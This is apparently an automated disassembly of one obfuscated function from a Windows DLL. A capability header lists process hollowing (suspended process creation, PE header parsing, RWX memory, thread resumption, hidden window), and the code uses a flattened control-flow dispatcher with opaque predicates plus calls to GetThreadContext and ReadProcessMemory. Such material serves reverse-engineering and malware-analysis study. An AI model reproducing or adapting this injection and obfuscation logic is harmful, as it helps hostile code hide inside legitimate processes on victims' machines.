Function at 0x10007400
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x110], 0x658ef43e
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x800ae2a3
je 0x1000c010
jmp 0x1000743c
mov eax, dword [ebp - 0x114]
sub eax, 0x81887bbd
je 0x1000cf5c
jmp 0x10007452
mov eax, dword [ebp - 0x114]
sub eax, 0x8289a5fb
je 0x1000b34b
jmp 0x10007468
mov eax, dword [ebp - 0x114]
sub eax, 0x8318602a
je 0x1000b4b9
jmp 0x1000747e
mov eax, dword [ebp - 0x114]
sub eax, 0x831ee549
je 0x1000ec48
jmp 0x10007494
mov eax, dword [ebp - 0x114]
sub eax, 0x832353b1
je 0x1000ccdd
jmp 0x100074aa
mov eax, dword [ebp - 0x114]
sub eax, 0x8328dc37
je 0x1000c090
jmp 0x100074c0
mov eax, dword [ebp - 0x114]
sub eax, 0x83441676
je 0x10009dd1
jmp 0x100074d6
mov eax, dword [ebp - 0x114]
sub eax, 0x83a00bfd
je 0x1000df8d
jmp 0x100074ec
mov eax, dword [ebp - 0x114]
sub eax, 0x8554c1db
je 0x1000a6ba
jmp 0x10007502
mov eax, dword [ebp - 0x114]
sub eax, 0x85d0bc45
je 0x1000b7ff
jmp 0x10007518
mov eax, dword [ebp - 0x114]
sub eax, 0x85d4927e
je 0x1000c74e
jmp 0x1000752e
mov eax, dword [ebp - 0x114]
sub eax, 0x85ff1784
je 0x1000f104
jmp 0x10007544
mov eax, dword [ebp - 0x114]
sub eax, 0x86b5da2f
je 0x1000e76e
jmp 0x1000755a
mov eax, dword [ebp - 0x114]
sub eax, 0x86c488f3
je 0x1000d999
jmp 0x10007570
mov eax, dword [ebp - 0x114]
sub eax, 0x881cb910
je 0x1000b9cd
jmp 0x10007586
mov eax, dword [ebp - 0x114]
sub eax, 0x88353f7e
je 0x1000a4af
jmp 0x1000759c
mov eax, dword [ebp - 0x114]
sub eax, 0x8885c9bc
je 0x1000e80a
jmp 0x100075b2
mov eax, dword [ebp - 0x114]
sub eax, 0x896031b1
je 0x1000c37c
jmp 0x100075c8
mov eax, dword [ebp - 0x114]
sub eax, 0x89972a5c
je 0x1000e193
jmp 0x100075de
mov eax, dword [ebp - 0x114]
sub eax, 0x8acb9c0b
je 0x1000c2df
jmp 0x100075f4
mov eax, dword [ebp - 0x114]
sub eax, 0x8d57b30d
je 0x1000ec8a
jmp 0x1000760a
mov eax, dword [ebp - 0x114]
sub eax, 0x8d8bc3d5
je 0x1000ee34
jmp 0x10007620
mov eax, dword [ebp - 0x114]
sub eax, 0x8dead8df
je 0x1000b95f
jmp 0x10007636
mov eax, dword [ebp - 0x114]
sub eax, 0x8e041bf1
je 0x1000abc3
jmp 0x1000764c
mov eax, dword [ebp - 0x114]
sub eax, 0x8e18bdf3
je 0x1000a450
jmp 0x10007662
mov eax, dword [ebp - 0x114]
sub eax, 0x8ec0aa86
je 0x1000e270
jmp 0x10007678
mov eax, dword [ebp - 0x114]
sub eax, 0x8f2594aa
je 0x1000e252
jmp 0x1000768e
mov eax, dword [ebp - 0x114]
sub eax, 0x8f55a596
je 0x1000bc09
jmp 0x100076a4
mov eax, dword [ebp - 0x114]
sub eax, 0x8f802e26
je 0x1000ad38
jmp 0x100076ba
mov eax, dword [ebp - 0x114]
sub eax, 0x9010c18e
je 0x1000b193
jmp 0x100076d0
mov eax, dword [ebp - 0x114]
sub eax, 0x902154f1
je 0x1000c55a
jmp 0x100076e6
mov eax, dword [ebp - 0x114]
sub eax, 0x925d0dd1
je 0x1000edbf
jmp 0x100076fc
mov eax, dword [ebp - 0x114]
sub eax, 0x949eb67b
je 0x1000acef
jmp 0x10007712
mov eax, dword [ebp - 0x114]
sub eax, 0x94c635be
je 0x1000f361
jmp 0x10007728
mov eax, dword [ebp - 0x114]
sub eax, 0x94edc59c
je 0x1000a07d
jmp 0x1000773e
mov eax, dword [ebp - 0x114]
sub eax, 0x9534b025
je 0x1000ac31
jmp 0x10007754
mov eax, dword [ebp - 0x114]
sub eax, 0x95513051
je 0x1000ba3b
jmp 0x1000776a
mov eax, dword [ebp - 0x114]
sub eax, 0x9618da3d
je 0x1000afd0
jmp 0x10007780
mov eax, dword [ebp - 0x114]
sub eax, 0x9686bcfe
je 0x1000c2af
jmp 0x10007796
mov eax, dword [ebp - 0x114]
sub eax, 0x98265782
je 0x1000d420
jmp 0x100077ac
mov eax, dword [ebp - 0x114]
sub eax, 0x994b2904
je 0x1000ea2c
jmp 0x100077c2
mov eax, dword [ebp - 0x114]
sub eax, 0x999df13b
je 0x1000af62
jmp 0x100077d8
mov eax, dword [ebp - 0x114]
sub eax, 0x9abd0329
je 0x1000c66e
jmp 0x100077ee
mov eax, dword [ebp - 0x114]
sub eax, 0x9c99de1f
je 0x1000c9cd
jmp 0x10007804
mov eax, dword [ebp - 0x114]
sub eax, 0x9cffea29
je 0x1000b36c
jmp 0x1000781a
mov eax, dword [ebp - 0x114]
sub eax, 0x9dc5f071
je 0x1000bd69
jmp 0x10007830
mov eax, dword [ebp - 0x114]
sub eax, 0x9e60431a
je 0x1000ef9c
jmp 0x10007846
mov eax, dword [ebp - 0x114]
sub eax, 0x9e8f0766
je 0x1000d6a7
jmp 0x1000785c
mov eax, dword [ebp - 0x114]
sub eax, 0x9eed8208
je 0x1000e750
jmp 0x10007872
mov eax, dword [ebp - 0x114]
sub eax, 0xa05eeacc
je 0x1000b93e
jmp 0x10007888
mov eax, dword [ebp - 0x114]
sub eax, 0xa0a514fb
je 0x1000bf28
jmp 0x1000789e
mov eax, dword [ebp - 0x114]
sub eax, 0xa11c7205
je 0x1000c060
jmp 0x100078b4
mov eax, dword [ebp - 0x114]
sub eax, 0xa27a9bf7
je 0x1000b38d
jmp 0x100078ca
mov eax, dword [ebp - 0x114]
sub eax, 0xa284d366
je 0x1000a77d
jmp 0x100078e0
mov eax, dword [ebp - 0x114]
sub eax, 0xa2cdec2b
je 0x1000f325
jmp 0x100078f6
mov eax, dword [ebp - 0x114]
sub eax, 0xa34eaae0
je 0x1000e05f
jmp 0x1000790c
mov eax, dword [ebp - 0x114]
sub eax, 0xa3b0d3e4
je 0x1000a05c
jmp 0x10007922
mov eax, dword [ebp - 0x114]
sub eax, 0xa55251be
je 0x1000ec1a
jmp 0x10007938
mov eax, dword [ebp - 0x114]
sub eax, 0xa5eb4f57
je 0x1000aa8b
jmp 0x1000794e
mov eax, dword [ebp - 0x114]
sub eax, 0xa6af74f6
je 0x1000df38
jmp 0x10007964
mov eax, dword [ebp - 0x114]
sub eax, 0xa6bf4b4c
je 0x1000b78d
jmp 0x1000797a
mov eax, dword [ebp - 0x114]
sub eax, 0xa6f7ef66
je 0x1000ea56
jmp 0x10007990
mov eax, dword [ebp - 0x114]
sub eax, 0xa71b736b
je 0x1000b4d7
jmp 0x100079a6
mov eax, dword [ebp - 0x114]
sub eax, 0xa72105a0
je 0x1000a620
movss xmm0, dword [0x1001c214]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x2c6a6eb8
sub edx, 1
add edx, 0x2c6a6eb8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe86008f9
mov ecx, 0x2152580f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c374]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x94edc59c
jmp 0x1000f40e
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c370]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x6953037d
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xfb03fa25
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x87779548
sub edx, 1
add edx, 0x87779548
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d57b30d
mov ecx, 0xfd9fb68b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xb8fa839a
jmp 0x1000f40e
mov dl, 1
mov eax, 0x39e65e3e
mov ecx, 0xbab74131
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c334]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x42c7a800
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a94cf70
mov ecx, 0x9534b025
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dl, 1
mov eax, 0x5a208f10
mov ecx, 0x3de541b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54b67f20
mov ecx, 0x8f802e26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0x5a208f10
jmp 0x1000f40e
mov dword [ebp - 0x110], 0x139476a2
jmp 0x1000f40e
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001c304]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x6aa1c861
jmp 0x1000f40e
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001c2e8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x2bebaca9
jmp 0x1000f40e
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001c2e4]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x9cffea29
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c2e0]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xa27a9bf7
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c2dc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c2d8]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xa71b736b
mov ecx, 0x6c2188c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xfc9117c1
jmp 0x1000f40e
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xfb5b0ebc
sub edx, 1
sub edx, 0xfb5b0ebc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xecae9323
mov ecx, 0x6ed336a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c1cc]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x7f021651
sub edx, 1
add edx, 0x7f021651
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3dfe302
mov ecx, 0x23107e33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c2cc]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x641beeec
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c2c4]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x8dead8df
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd4cd4a8
mov ecx, 0x881cb910
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcd4cd4a8
mov ecx, 0x95513051
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dl, 1
mov eax, 0xc8b462bb
mov ecx, 0xa8e54754
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c2ac]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xc850c4e1
jmp 0x1000f40e
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c29c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xd45d465a
jmp 0x1000f40e
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c288]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x19e48c8f
jmp 0x1000f40e
mov dl, 1
mov eax, 0xfdcf50d3
mov ecx, 0xdf102d6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xfdcf50d3
jmp 0x1000f40e
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c278]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c274]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x28e10e53
mov ecx, 0x4f424f6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0x28e10e53
jmp 0x1000f40e
mov dl, 1
mov eax, 0x47d2311f
mov ecx, 0x5b2d4b78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0xaaf41f6c
sub edx, 1
add edx, 0xaaf41f6c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78886440
mov ecx, 0x2983ed75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0x7af61a89
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x35316fe0
sub edx, 1
add edx, 0x35316fe0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4eb9350
mov ecx, 0xd93c530a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c260]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xa992f02d
jmp 0x1000f40e
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c250]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x2f9ab8e4
mov ecx, 0x65ddb8a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x3d0817bd
sub edx, 1
add edx, 0x3d0817bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5738d6d
mov ecx, 0x353b92de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c230]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xb814fca8
jmp 0x1000f40e
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xb679de43
sub edx, 1
sub edx, 0xb679de43
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafe444d
mov ecx, 0xd8ad9d36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf6d69e4
mov ecx, 0x7208db8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dl, byte [ebp - 0x75]
mov eax, 0xe559421f
mov ecx, 0x4e0944ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0xfb1a495b
sub eax, ecx
add eax, 0xfb1a495b
mov ecx, dword [ebp - 0x54]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xfd6fe777
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x24728c72
sub edx, 1
add edx, 0x24728c72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f44e7d5
mov ecx, 0xf46b1655
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xcdbc1e57
jmp 0x1000f40e
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa2cdec2b
mov ecx, 0xb3d360f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov dl, byte [ebp - 0x49]
mov eax, 0x756c0f47
mov ecx, 0x8ec0aa86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x110], 0xd4400548
jmp 0x1000f40e
mov dl, byte [ebp - 0x25]
mov eax, 0xf002f0df
mov ecx, 0x86b5da2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000f40e
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x110], 0xa3240d4
jmp 0x1000f40e
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x110], 0xb6525f9c
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xcb070991
jmp 0x1000f40e
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x110], 0xda9b4347
jmp 0x1000f40e
movss xmm0, dword [0x1001c210]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x110], 0x621d1400
jmp 0x1000f40e
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c20c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x697f8972
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xfd9fb68b
jmp 0x1000f40e
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001c1e4]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x9431b16
jmp 0x1000f40e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c1d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c1d0]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x55b56859
jmp 0x1000f40e
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c1ac]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xf958be72
jmp 0x1000f40e
mov dword [ebp - 0x110], 0x76f1ea93
jmp 0x1000f40e
mov dword [ebp - 0x110], 0xb3d360f2
jmp 0x1000f40e
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x110], 0x7e6dc681
jmp 0x1000f40e
jmp 0x10007420